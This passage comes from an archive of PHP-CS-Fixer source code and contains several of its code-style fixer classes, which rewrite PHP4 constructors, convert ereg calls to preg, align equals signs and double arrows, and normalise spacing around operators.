            if ($other->getEnd() > $start) {
                // we're doing this to maintain the original line indexes
                $line->setContent($other->getContent().$line->getContent());
                $other->remove();
            }
        }

        return $doc->getContent();
    }
}
php-cs-fixer/Symfony/CS/Fixer/Contrib/Php4ConstructorFixer.php000066600000032312151456236460020310 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Fixer\Contrib;

use Symfony\CS\AbstractFixer;
use Symfony\CS\Tokenizer\Token;
use Symfony\CS\Tokenizer\Tokens;

/**
 * @author Matteo Beccati <matteo@beccati.com>
 */
class Php4ConstructorFixer extends AbstractFixer
{
    /**
     * {@inheritdoc}
     */
    public function fix(\SplFileInfo $file, $content)
    {
        $tokens = Tokens::fromCode($content);

        $classes = array_keys($tokens->findGivenKind(T_CLASS));
        $numClasses = count($classes);

        for ($i = 0; $i < $numClasses; ++$i) {
            $index = $classes[$i];

            // is it an an anonymous class definition?
            if ($tokens->isAnonymousClass($index)) {
                continue;
            }

            // is it inside a namespace?
            $nspIndex = $tokens->getPrevTokenOfKind($index, array(array(T_NAMESPACE, 'namespace')));
            if (null !== $nspIndex) {
                $nspIndex = $tokens->getNextMeaningfulToken($nspIndex);

                // make sure it's not the global namespace, as PHP4 constructors are allowed in there
                if (!$tokens[$nspIndex]->equals('{')) {
                    // unless it's the global namespace, the index currently points to the name
                    $nspIndex = $tokens->getNextTokenOfKind($nspIndex, array(';', '{'));

                    if ($tokens[$nspIndex]->equals(';')) {
                        // the class is inside a (non-block) namespace, no PHP4-code should be in there
                        break;
                    }

                    // the index points to the { of a block-namespace
                    $nspEnd = $tokens->findBlockEnd(Tokens::BLOCK_TYPE_CURLY_BRACE, $nspIndex);
                    if ($index < $nspEnd) {
                        // the class is inside a block namespace, skip other classes that might be in it
                        for ($j = $i + 1; $j < $numClasses; ++$j) {
                            if ($classes[$j] < $nspEnd) {
                                ++$i;
                            }
                        }
                        // and continue checking the classes that might follow
                        continue;
                    }
                }
            }

            $classNameIndex = $tokens->getNextMeaningfulToken($index);
            $className = $tokens[$classNameIndex]->getContent();
            $classStart = $tokens->getNextTokenOfKind($classNameIndex, array('{'));
            $classEnd = $tokens->findBlockEnd(Tokens::BLOCK_TYPE_CURLY_BRACE, $classStart);

            $this->fixConstructor($tokens, $className, $classStart, $classEnd);
            $this->fixParent($tokens, $classStart, $classEnd);
        }

        return $tokens->generateCode();
    }

    /**
     * {@inheritdoc}
     */
    public function getName()
    {
        return 'php4_constructor';
    }

    /**
     * {@inheritdoc}
     */
    public function getDescription()
    {
        return 'Convert PHP4-style constructors to __construct. Warning! This could change code behavior.';
    }

    /**
     * Fix constructor within a class, if possible.
     *
     * @param Tokens $tokens     the Tokens instance
     * @param string $className  the class name
     * @param int    $classStart the class start index
     * @param int    $classEnd   the class end index
     */
    private function fixConstructor(Tokens $tokens, $className, $classStart, $classEnd)
    {
        $php4 = $this->findFunction($tokens, $className, $classStart, $classEnd);

        if (null === $php4) {
            // no PHP4-constructor!
            return;
        }

        if (!empty($php4['modifiers'][T_ABSTRACT]) || !empty($php4['modifiers'][T_STATIC])) {
            // PHP4 constructor can't be abstract or static
            return;
        }

        $php5 = $this->findFunction($tokens, '__construct', $classStart, $classEnd);

        if (null === $php5) {
            // no PHP5-constructor, we can rename the old one to __construct
            $tokens[$php4['nameIndex']]->setContent('__construct');

            // in some (rare) cases we might have just created an infinite recursion issue
            $this->fixInfiniteRecursion($tokens, $php4['bodyIndex'], $php4['endIndex']);

            return;
        }

        // does the PHP4-constructor only call $this->__construct($args, ...)?
        list($seq, $case) = $this->getWrapperMethodSequence($tokens, '__construct', $php4['startIndex'], $php4['bodyIndex']);
        if (null !== $tokens->findSequence($seq, $php4['bodyIndex'] - 1, $php4['endIndex'], $case)) {
            // good, delete it!
            for ($i = $php4['startIndex']; $i <= $php4['endIndex']; ++$i) {
                $tokens[$i]->clear();
            }

            return;
        }

        // does __construct only call the PHP4-constructor (with the same args)?
        list($seq, $case) = $this->getWrapperMethodSequence($tokens, $className, $php4['startIndex'], $php4['bodyIndex']);
        if (null !== $tokens->findSequence($seq, $php5['bodyIndex'] - 1, $php5['endIndex'], $case)) {
            // that was a weird choice, but we can safely delete it and...
            for ($i = $php5['startIndex']; $i <= $php5['endIndex']; ++$i) {
                $tokens[$i]->clear();
            }
            // rename the PHP4 one to __construct
            $tokens[$php4['nameIndex']]->setContent('__construct');
        }
    }

    /**
     * Fix calls to the parent constructor within a class.
     *
     * @param Tokens $tokens     the Tokens instance
     * @param int    $classStart the class start index
     * @param int    $classEnd   the class end index
     */
    private function fixParent(Tokens $tokens, $classStart, $classEnd)
    {
        // check calls to the parent constructor
        foreach ($tokens->findGivenKind(T_EXTENDS) as $index => $token) {
            $parentIndex = $tokens->getNextMeaningfulToken($index);
            $parentClass = $tokens[$parentIndex]->getContent();

            // using parent::ParentClassName() or ParentClassName::ParentClassName()
            $parentSeq = $tokens->findSequence(array(
                array(T_STRING),
                array(T_DOUBLE_COLON),
                array(T_STRING, $parentClass),
                '(',
            ), $classStart, $classEnd, array(2 => false));

            if (null !== $parentSeq) {
                // we only need indexes
                $parentSeq = array_keys($parentSeq);

                // match either of the possibilities
                if ($tokens[$parentSeq[0]]->equalsAny(array(array(T_STRING, 'parent'), array(T_STRING, $parentClass)), false)) {
                    // replace with parent::__construct
                    $tokens[$parentSeq[0]]->setContent('parent');
                    $tokens[$parentSeq[2]]->setContent('__construct');
                }
            }

            // using $this->ParentClassName()
            $parentSeq = $tokens->findSequence(array(
                array(T_VARIABLE, '$this'),
                array(T_OBJECT_OPERATOR),
                array(T_STRING, $parentClass),
                '(',
            ), $classStart, $classEnd, array(2 => false));

            if (null !== $parentSeq) {
                // we only need indexes
                $parentSeq = array_keys($parentSeq);

                // replace call with parent::__construct()
                $tokens[$parentSeq[0]] = new Token(array(
                    T_STRING,
                    'parent',
                    $tokens[$parentSeq[0]]->getLine(),
                ));
                $tokens[$parentSeq[1]] = new Token(array(
                    T_DOUBLE_COLON,
                    '::',
                    $tokens[$parentSeq[1]]->getLine(),
                ));
                $tokens[$parentSeq[2]]->setContent('__construct');
            }
        }
    }

    /**
     * Fix a particular infinite recursion issue happening when the parent class has __construct and the child has only
     * a PHP4 constructor that calls the parent constructor as $this->__construct().
     *
     * @param Tokens $tokens the Tokens instance
     * @param int    $start  the PHP4 constructor body start
     * @param int    $end    the PHP4 constructor body end
     */
    private function fixInfiniteRecursion(Tokens $tokens, $start, $end)
    {
        $seq = array(
            array(T_VARIABLE, '$this'),
            array(T_OBJECT_OPERATOR),
            array(T_STRING, '__construct'),
        );

        while (true) {
            $callSeq = $tokens->findSequence($seq,  $start, $end, array(2 => false));

            if (null === $callSeq) {
                return;
            }

            $callSeq = array_keys($callSeq);

            $tokens[$callSeq[0]] = new Token(array(
                T_STRING,
                'parent',
                $tokens[$callSeq[0]]->getLine(),
            ));
            $tokens[$callSeq[1]] = new Token(array(
                T_DOUBLE_COLON,
                '::',
                $tokens[$callSeq[1]]->getLine(),
            ));
        }
    }

    /**
     * Generate the sequence of tokens necessary for the body of a wrapper method that simply
     * calls $this->{$method}( [args...] ) with the same arguments as its own signature.
     *
     * @param Tokens $tokens     the Tokens instance
     * @param string $method     the wrapped method name
     * @param int    $startIndex function/method start index
     * @param int    $bodyIndex  function/method body index
     *
     * @return array an array containing the sequence and case sensitiveness [ 0 => $seq, 1 => $case ]
     */
    private function getWrapperMethodSequence(Tokens $tokens, $method, $startIndex, $bodyIndex)
    {
        // initialise sequence as { $this->{$method}(
        $seq = array(
            '{',
            array(T_VARIABLE, '$this'),
            array(T_OBJECT_OPERATOR),
            array(T_STRING, $method),
            '(',
        );
        $case = array(3 => false);

        // parse method parameters, if any
        $index = $startIndex;
        while (true) {
            // find the next variable name
            $index = $tokens->getNextTokenOfKind($index, array(array(T_VARIABLE)));

            if (null === $index || $index >= $bodyIndex) {
                // we've reached the body already
                break;
            }

            // append a comma if it's not the first variable
            if (count($seq) > 5) {
                $seq[] = ',';
            }

            // append variable name to the sequence
            $seq[] = array(T_VARIABLE, $tokens[$index]->getContent());
        }

        // almost done, close the sequence with ); }
        $seq[] = ')';
        $seq[] = ';';
        $seq[] = '}';

        return array($seq, $case);
    }

    /**
     * Find a function or method matching a given name within certain bounds.
     *
     * @param Tokens $tokens     the Tokens instance
     * @param string $name       the function/Method name
     * @param int    $startIndex the search start index
     * @param int    $endIndex   the search end index
     *
     * @return array|null An associative array, if a match is found:
     *
     *     - nameIndex (int): The index of the function/method name.
     *     - startIndex (int): The index of the function/method start.
     *     - endIndex (int): The index of the function/method end.
     *     - bodyIndex (int): The index of the function/method body.
     *     - modifiers (array): The modifiers as array keys and their index as
     *       the values, e.g. array(T_PUBLIC => 10).
     */
    private function findFunction(Tokens $tokens, $name, $startIndex, $endIndex)
    {
        $function = $tokens->findSequence(array(
            array(T_FUNCTION),
            array(T_STRING, $name),
            '(',
        ), $startIndex, $endIndex, false);

        if (null === $function) {
            return;
        }

        // keep only the indexes
        $function = array_keys($function);

        // find previous block, saving method modifiers for later use
        $possibleModifiers = array(T_PUBLIC, T_PROTECTED, T_PRIVATE, T_STATIC, T_ABSTRACT, T_FINAL);
        $modifiers = array();

        $prevBlock = $tokens->getPrevMeaningfulToken($function[0]);
        while (null !== $prevBlock && $tokens[$prevBlock]->isGivenKind($possibleModifiers)) {
            $modifiers[$tokens[$prevBlock]->getId()] = $prevBlock;
            $prevBlock = $tokens->getPrevMeaningfulToken($prevBlock);
        }

        if (isset($modifiers[T_ABSTRACT])) {
            // abstract methods have no body
            $bodyStart = null;
            $funcEnd = $tokens->getNextTokenOfKind($function[2], array(';'));
        } else {
            // find method body start and the end of the function definition
            $bodyStart = $tokens->getNextTokenOfKind($function[2], array('{'));
            $funcEnd = $bodyStart !== null ? $tokens->findBlockEnd(Tokens::BLOCK_TYPE_CURLY_BRACE, $bodyStart) : null;
        }

        return array(
            'nameIndex' => $function[1],
            'startIndex' => $prevBlock + 1,
            'endIndex' => $funcEnd,
            'bodyIndex' => $bodyStart,
            'modifiers' => $modifiers,
        );
    }
}
php-cs-fixer/Symfony/CS/Fixer/Contrib/LogicalNotOperatorsWithSpacesFixer.php000066600000003036151456236460023155 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Fixer\Contrib;

use Symfony\CS\AbstractFixer;
use Symfony\CS\Tokenizer\Token;
use Symfony\CS\Tokenizer\Tokens;

/**
 * @author Javier Spagnoletti <phansys@gmail.com>
 */
final class LogicalNotOperatorsWithSpacesFixer extends AbstractFixer
{
    /**
     * {@inheritdoc}
     */
    public function fix(\SplFileInfo $file, $content)
    {
        $tokens = Tokens::fromCode($content);

        for ($index = $tokens->count() - 1; $index >= 0; --$index) {
            $token = $tokens[$index];

            if ($tokens->isUnaryPredecessorOperator($index) && $token->equals('!')) {
                if (!$tokens[$index + 1]->isWhitespace()) {
                    $tokens->insertAt($index + 1, new Token(array(T_WHITESPACE, ' ')));
                }

                if (!$tokens[$index - 1]->isWhitespace()) {
                    $tokens->insertAt($index, new Token(array(T_WHITESPACE, ' ')));
                }
            }
        }

        return $tokens->generateCode();
    }

    /**
     * {@inheritdoc}
     */
    public function getDescription()
    {
        return 'Logical NOT operators (!) should have leading and trailing whitespaces.';
    }

    /**
     * {@inheritdoc}
     */
    public function getPriority()
    {
        // should be run after the UnaryOperatorsSpacesFixer
        return -10;
    }
}
php-cs-fixer/Symfony/CS/Fixer/Contrib/EregToPregFixer.php000066600000012326151456236460017235 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Fixer\Contrib;

use Symfony\CS\AbstractFixer;
use Symfony\CS\Tokenizer\Tokens;
use Symfony\CS\Utils;

/**
 * @author Matteo Beccati <matteo@beccati.com>
 */
class EregToPregFixer extends AbstractFixer
{
    /**
     * @var array the list of the ext/ereg function names, their preg equivalent and the preg modifier(s), if any
     *            all condensed in an array of arrays.
     */
    private static $functions = array(
        array('ereg', 'preg_match', ''),
        array('eregi', 'preg_match', 'i'),
        array('ereg_replace', 'preg_replace', ''),
        array('eregi_replace', 'preg_replace', 'i'),
        array('split', 'preg_split', ''),
        array('spliti', 'preg_split', 'i'),
    );

    /**
     * @var array the list of preg delimiters, in order of preference.
     */
    private static $delimiters = array('/', '#', '!');

    /**
     * {@inheritdoc}
     */
    public function fix(\SplFileInfo $file, $content)
    {
        if (!$this->cursoryMatch($content)) {
            return $content;
        }

        $tokens = Tokens::fromCode($content);
        $end = $tokens->count() - 1;

        foreach (self::$functions as $map) {
            // the sequence is the function name, followed by "(" and a quoted string
            $seq = array(array(T_STRING, $map[0]), '(', array(T_CONSTANT_ENCAPSED_STRING));

            $currIndex = 0;
            while (null !== $currIndex) {
                $match = $tokens->findSequence($seq, $currIndex, $end, false);

                // did we find a match?
                if (null === $match) {
                    break;
                }

                // findSequence also returns the tokens, but we're only interested in the indexes, i.e.:
                // 0 => function name,
                // 1 => bracket "("
                // 2 => quoted string passed as 1st parameter
                $match = array_keys($match);

                // advance tokenizer cursor
                $currIndex = $match[2];

                // ensure it's a function call (not a method / static call)
                $prev = $tokens->getPrevMeaningfulToken($match[0]);
                if (null === $prev || $tokens[$prev]->isGivenKind(array(T_OBJECT_OPERATOR, T_DOUBLE_COLON))) {
                    continue;
                }

                // ensure the first parameter is just a string (e.g. has nothing appended)
                $next = $tokens->getNextMeaningfulToken($match[2]);
                if (null === $next || !$tokens[$next]->equalsAny(array(',', ')'))) {
                    continue;
                }

                // convert to PCRE
                $string = substr($tokens[$match[2]]->getContent(), 1, -1);
                $quote = substr($tokens[$match[2]]->getContent(), 0, 1);
                $delim = $this->getBestDelimiter($string);
                $preg = $delim.addcslashes($string, $delim).$delim.'D'.$map[2];

                // check if the preg is valid
                if (!$this->checkPreg($preg)) {
                    continue;
                }

                // modify function and argument
                $tokens[$match[2]]->setContent($quote.$preg.$quote);
                $tokens[$match[0]]->setContent($map[1]);
            }
        }

        return $tokens->generateCode();
    }

    /**
     * {@inheritdoc}
     */
    public function getDescription()
    {
        return 'Replace deprecated ereg regular expression functions with preg. Warning! This could change code behavior.';
    }

    /**
     * Check the validity of a PCRE.
     *
     * @param string $pattern the regular expression
     *
     * @return bool
     */
    private function checkPreg($pattern)
    {
        return false !== @preg_match($pattern, '');
    }

    /**
     * Get the delimiter that would require the least escaping in a regular expression.
     *
     * @param string $pattern the regular expression
     *
     * @return string the preg delimiter
     */
    private function getBestDelimiter($pattern)
    {
        // try do find something that's not used
        $delimiters = array();
        foreach (self::$delimiters as $k => $d) {
            if (false === strpos($pattern, $d)) {
                return $d;
            }

            $delimiters[$d] = array(substr_count($pattern, $d), $k);
        }

        // return the least used delimiter, using the position in the list as a tie breaker
        uasort($delimiters, function ($a, $b) {
            if ($a[0] === $b[0]) {
                return Utils::cmpInt($a, $b);
            }

            return $a[0] < $b[0] ? -1 : 1;
        });

        return key($delimiters);
    }

    /**
     * Perform a quick search to see if any ext/ereg functions are used.
     *
     * @param string $content the content itself
     *
     * @return bool
     */
    private function cursoryMatch($content)
    {
        // just searching for "ereg" or "split" will do, since all the function names start with either of them
        return false !== stripos($content, 'ereg') || false !== stripos($content, 'split');
    }
}
php-cs-fixer/Symfony/CS/Fixer/Contrib/AlignEqualsFixer.php000066600000004246151456236460017441 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Fixer\Contrib;

use Symfony\CS\AbstractAlignFixer;
use Symfony\CS\Tokenizer\Tokens;

/**
 * @author Carlos Cirello <carlos.cirello.nl@gmail.com>
 * @author Graham Campbell <graham@mineuk.com>
 */
class AlignEqualsFixer extends AbstractAlignFixer
{
    /**
     * {@inheritdoc}
     */
    public function fix(\SplFileInfo $file, $content)
    {
        list($tokens, $deepestLevel) = $this->injectAlignmentPlaceholders($content);

        return $this->replacePlaceholder($tokens, $deepestLevel);
    }

    /**
     * {@inheritdoc}
     */
    public function getDescription()
    {
        return 'Align equals symbols in consecutive lines.';
    }

    /**
     * {@inheritdoc}
     */
    public function getPriority()
    {
        // should be run after the OperatorsSpacesFixer
        return -10;
    }

    /**
     * Inject into the text placeholders of candidates of vertical alignment.
     *
     * @param string $content
     *
     * @return array($code, $deepestLevel)
     */
    private function injectAlignmentPlaceholders($content)
    {
        $deepestLevel = 0;
        $parenCount = 0;
        $bracketCount = 0;
        $tokens = Tokens::fromCode($content);

        foreach ($tokens as $token) {
            $tokenContent = $token->getContent();

            if (0 === $parenCount && 0 === $bracketCount && $token->equals('=')) {
                $token->setContent(sprintf(self::ALIGNABLE_PLACEHOLDER, $deepestLevel).$tokenContent);
                continue;
            }

            if ($token->isGivenKind(T_FUNCTION)) {
                ++$deepestLevel;
            } elseif ($token->equals('(')) {
                ++$parenCount;
            } elseif ($token->equals(')')) {
                --$parenCount;
            } elseif ($token->equals('[')) {
                ++$bracketCount;
            } elseif ($token->equals(']')) {
                --$bracketCount;
            }
        }

        return array($tokens, $deepestLevel);
    }
}
php-cs-fixer/Symfony/CS/Fixer/Contrib/LogicalNotOperatorsWithSuccessorSpaceFixer.php000066600000002715151456236460024667 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Fixer\Contrib;

use Symfony\CS\AbstractFixer;
use Symfony\CS\Tokenizer\Token;
use Symfony\CS\Tokenizer\Tokens;

/**
 * @author Javier Spagnoletti <phansys@gmail.com>
 */
final class LogicalNotOperatorsWithSuccessorSpaceFixer extends AbstractFixer
{
    /**
     * {@inheritdoc}
     */
    public function fix(\SplFileInfo $file, $content)
    {
        $tokens = Tokens::fromCode($content);

        for ($index = $tokens->count() - 1; $index >= 0; --$index) {
            $token = $tokens[$index];

            if ($tokens->isUnaryPredecessorOperator($index) && $token->equals('!')) {
                if (!$tokens[$index + 1]->isWhitespace()) {
                    $tokens->insertAt($index + 1, new Token(array(T_WHITESPACE, ' ')));
                } else {
                    $tokens[$index + 1]->setContent(' ');
                }
            }
        }

        return $tokens->generateCode();
    }

    /**
     * {@inheritdoc}
     */
    public function getDescription()
    {
        return 'Logical NOT operators (!) should have one trailing whitespace.';
    }

    /**
     * {@inheritdoc}
     */
    public function getPriority()
    {
        // should be run after the UnaryOperatorsSpacesFixer
        return -10;
    }
}
php-cs-fixer/Symfony/CS/Fixer/Contrib/PhpdocVarToTypeFixer.php000066600000002502151456236460020260 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Fixer\Contrib;

use Symfony\CS\AbstractFixer;
use Symfony\CS\DocBlock\DocBlock;
use Symfony\CS\Tokenizer\Tokens;

/**
 * @author Graham Campbell <graham@mineuk.com>
 */
class PhpdocVarToTypeFixer extends AbstractFixer
{
    /**
     * {@inheritdoc}
     */
    public function fix(\SplFileInfo $file, $content)
    {
        $tokens = Tokens::fromCode($content);

        foreach ($tokens->findGivenKind(T_DOC_COMMENT) as $token) {
            $doc = new DocBlock($token->getContent());
            $annotations = $doc->getAnnotationsOfType('var');

            if (empty($annotations)) {
                continue;
            }

            foreach ($annotations as $annotation) {
                $line = $doc->getLine($annotation->getStart());
                $line->setContent(str_replace('@var', '@type', $line->getContent()));
            }

            $token->setContent($doc->getContent());
        }

        return $tokens->generateCode();
    }

    /**
     * {@inheritdoc}
     */
    public function getDescription()
    {
        return '@var should always be written as @type.';
    }
}
php-cs-fixer/Symfony/CS/Fixer/Contrib/EchoToPrintFixer.php000066600000004622151456236460017430 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Fixer\Contrib;

use Symfony\CS\AbstractFixer;
use Symfony\CS\Tokenizer\Token;
use Symfony\CS\Tokenizer\Tokens;

/**
 * @author Sullivan Senechal <soullivaneuh@gmail.com>
 */
final class EchoToPrintFixer extends AbstractFixer
{
    /**
     * {@inheritdoc}
     */
    public function fix(\SplFileInfo $file, $content)
    {
        $tokens = Tokens::fromCode($content);

        $echoTokens = $tokens->findGivenKind(T_ECHO);

        if (defined('HHVM_VERSION')) {
            /*
             * HHVM parses '<?=' as T_ECHO instead of T_OPEN_TAG_WITH_ECHO
             *
             * @see https://github.com/facebook/hhvm/issues/4809
             * @see https://github.com/facebook/hhvm/issues/7161
             */
            $echoTokens = array_filter(
                $echoTokens,
                function (Token $token) {
                    return 0 !== strpos($token->getContent(), '<?=');
                }
            );
        }

        foreach ($echoTokens as $echoIndex => $echoToken) {
            $nextTokenIndex = $tokens->getNextMeaningfulToken($echoIndex);
            $endTokenIndex = $tokens->getNextTokenOfKind($echoIndex, array(';', array(T_CLOSE_TAG)));
            $canBeConverted = true;
            for ($i = $nextTokenIndex; $i < $endTokenIndex; ++$i) {
                if ($tokens[$i]->equalsAny(array('(', '['))) {
                    $blockType = $tokens->detectBlockType($tokens[$i]);
                    $i = $tokens->findBlockEnd($blockType['type'], $i);
                }

                if ($tokens[$i]->equals(',')) {
                    $canBeConverted = false;
                    break;
                }
            }

            if (false === $canBeConverted) {
                continue;
            }

            $tokens->overrideAt($echoIndex, array(T_PRINT, 'print'));
        }

        return $tokens->generateCode();
    }

    /**
     * {@inheritdoc}
     */
    public function getDescription()
    {
        return 'Converts echo language construct to print if possible.';
    }

    /**
     * EchoToPrintFixer should run after ShortEchoTagFixer.
     *
     * {@inheritdoc}
     */
    public function getPriority()
    {
        return -10;
    }
}
php-cs-fixer/Symfony/CS/Fixer/Contrib/AlignDoubleArrowFixer.php000066600000012604151456236460020431 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Fixer\Contrib;

use Symfony\CS\AbstractAlignFixer;
use Symfony\CS\Tokenizer\Tokens;

/**
 * @author Carlos Cirello <carlos.cirello.nl@gmail.com>
 * @author Dariusz Rumiński <dariusz.ruminski@gmail.com>
 * @author Graham Campbell <graham@mineuk.com>
 */
class AlignDoubleArrowFixer extends AbstractAlignFixer
{
    /**
     * Level counter of the current nest level.
     * So one level alignments are not mixed with
     * other level ones.
     *
     * @var int
     */
    private $currentLevel;

    /**
     * Keep track of the deepest level ever achieved while
     * parsing the code. Used later to replace alignment
     * placeholders with spaces.
     *
     * @var int
     */
    private $deepestLevel;

    /**
     * {@inheritdoc}
     */
    public function fix(\SplFileInfo $file, $content)
    {
        $this->currentLevel = 0;
        $this->deepestLevel = 0;
        $tokens = Tokens::fromCode($content);

        $this->injectAlignmentPlaceholders($tokens, 0, count($tokens));

        return $this->replacePlaceholder($tokens, $this->deepestLevel);
    }

    /**
     * {@inheritdoc}
     */
    public function getDescription()
    {
        return 'Align double arrow symbols in consecutive lines.';
    }

    /**
     * {@inheritdoc}
     */
    public function getPriority()
    {
        // should be run after the OperatorsSpacesFixer
        return -10;
    }

    /**
     * Inject into the text placeholders of candidates of vertical alignment.
     *
     * @param Tokens $tokens
     * @param int    $startAt
     * @param int    $endAt
     *
     * @return array($code, $context_counter)
     */
    private function injectAlignmentPlaceholders(Tokens $tokens, $startAt, $endAt)
    {
        for ($index = $startAt; $index < $endAt; ++$index) {
            $token = $tokens[$index];

            if ($token->isGivenKind(array(T_FOREACH, T_FOR, T_WHILE, T_IF, T_SWITCH))) {
                $index = $tokens->getNextMeaningfulToken($index);
                $index = $tokens->findBlockEnd(Tokens::BLOCK_TYPE_PARENTHESIS_BRACE, $index);
                continue;
            }

            if ($token->isGivenKind(T_ARRAY)) { // don't use "$tokens->isArray()" here, short arrays are handled in the next case
                $from = $tokens->getNextMeaningfulToken($index);
                $until = $tokens->findBlockEnd(Tokens::BLOCK_TYPE_PARENTHESIS_BRACE, $from);
                $index = $until;

                $this->injectArrayAlignmentPlaceholders($tokens, $from, $until);
                continue;
            }

            if ($tokens->isShortArray($index)) {
                $prevToken = $tokens[$tokens->getPrevMeaningfulToken($index)];
                if ($prevToken->isGivenKind(array(T_STRING, T_VARIABLE))) {
                    continue;
                }

                $from = $index;
                $until = $tokens->findBlockEnd(Tokens::BLOCK_TYPE_SQUARE_BRACE, $from);
                $index = $until;

                $this->injectArrayAlignmentPlaceholders($tokens, $from + 1, $until - 1);
                continue;
            }

            if ($token->isGivenKind(T_DOUBLE_ARROW)) {
                $tokenContent = sprintf(self::ALIGNABLE_PLACEHOLDER, $this->currentLevel).$token->getContent();

                $nextToken = $tokens[$index + 1];
                if (!$nextToken->isWhitespace()) {
                    $tokenContent .= ' ';
                } elseif ($nextToken->isWhitespace(array('whitespaces' => " \t"))) {
                    $nextToken->setContent(' ');
                }

                $token->setContent($tokenContent);
                continue;
            }

            if ($token->equals(';')) {
                ++$this->deepestLevel;
                ++$this->currentLevel;
                continue;
            }

            if ($token->equals(',')) {
                for ($i = $index; $i < $endAt - 1; ++$i) {
                    if (false !== strpos($tokens[$i - 1]->getContent(), "\n")) {
                        break;
                    }

                    if ($tokens->isArray($i + 1)) {
                        $arrayStartIndex = $tokens[$i + 1]->isGivenKind(T_ARRAY)
                            ? $tokens->getNextMeaningfulToken($i + 1)
                            : $i + 1
                        ;
                        $blockType = Tokens::detectBlockType($tokens[$arrayStartIndex]);
                        $arrayEndIndex = $tokens->findBlockEnd($blockType['type'], $arrayStartIndex);

                        if ($tokens->isPartialCodeMultiline($arrayStartIndex, $arrayEndIndex)) {
                            break;
                        }
                    }

                    ++$index;
                }
            }
        }
    }

    /**
     * @param Tokens $tokens
     * @param int    $from
     * @param int    $until
     */
    private function injectArrayAlignmentPlaceholders(Tokens $tokens, $from, $until)
    {
        // Only inject placeholders for multi-line arrays
        if ($tokens->isPartialCodeMultiline($from, $until)) {
            ++$this->deepestLevel;
            ++$this->currentLevel;
            $this->injectAlignmentPlaceholders($tokens, $from, $until);
            --$this->currentLevel;
        }
    }
}
php-cs-fixer/Symfony/CS/Fixer/Contrib/NewlineAfterOpenTagFixer.php000066600000002617151456236460021075 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Fixer\Contrib;

use Symfony\CS\AbstractFixer;
use Symfony\CS\Tokenizer\Tokens;

/**
 * @author Ceeram <ceeram@cakephp.org>
 */
class NewlineAfterOpenTagFixer extends AbstractFixer
{
    /**
     * {@inheritdoc}
     */
    public function fix(\SplFileInfo $file, $content)
    {
        $tokens = Tokens::fromCode($content);

        // ignore files with short open tag and ignore non-monolithic files
        if (!$tokens[0]->isGivenKind(T_OPEN_TAG) || !$tokens->isMonolithicPhp()) {
            return $content;
        }

        $newlineFound = false;
        foreach ($tokens as $token) {
            if ($token->isWhitespace() && false !== strpos($token->getContent(), "\n")) {
                $newlineFound = true;
                break;
            }
        }

        // ignore one-line files
        if (!$newlineFound) {
            return $content;
        }

        $token = $tokens[0];
        $token->setContent(rtrim($token->getContent())."\n");

        return $tokens->generateCode();
    }

    /**
     * {@inheritdoc}
     */
    public function getDescription()
    {
        return 'Ensure there is no code on the same line as the PHP open tag.';
    }
}
php-cs-fixer/Symfony/CS/Fixer/Contrib/ConcatWithSpacesFixer.php000066600000003736151456236460020441 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Fixer\Contrib;

use Symfony\CS\AbstractFixer;
use Symfony\CS\Tokenizer\Token;
use Symfony\CS\Tokenizer\Tokens;

/**
 * @author Dariusz Rumiński <dariusz.ruminski@gmail.com>
 */
class ConcatWithSpacesFixer extends AbstractFixer
{
    /**
     * {@inheritdoc}
     */
    public function fix(\SplFileInfo $file, $content)
    {
        $tokens = Tokens::fromCode($content);

        for ($index = $tokens->count() - 1; $index >= 0; --$index) {
            if (!$tokens[$index]->equals('.')) {
                continue;
            }

            $this->fixWhiteSpaceAroundConcatToken($tokens, $index, 1);
            $this->fixWhiteSpaceAroundConcatToken($tokens, $index, -1);
        }

        return $tokens->generateCode();
    }

    /**
     * @param Tokens $tokens
     * @param int    $index  Index of concat token
     * @param int    $offset 1 or -1
     */
    private function fixWhiteSpaceAroundConcatToken(Tokens $tokens, $index, $offset)
    {
        $offsetIndex = $index + $offset;

        if (!$tokens[$offsetIndex]->isWhitespace()) {
            $tokens->insertAt($index + (1 === $offset ?: 0), new Token(array(T_WHITESPACE, ' ')));

            return;
        }

        if (false !== strpos($tokens[$offsetIndex]->getContent(), "\n")) {
            return;
        }

        if ($tokens[$index + $offset * 2]->isComment()) {
            return;
        }

        $tokens[$offsetIndex]->setContent(' ');
    }

    /**
     * {@inheritdoc}
     */
    public function getDescription()
    {
        return 'Concatenation should be used with at least one whitespace around.';
    }

    /**
     * {@inheritdoc}
     */
    public function getPriority()
    {
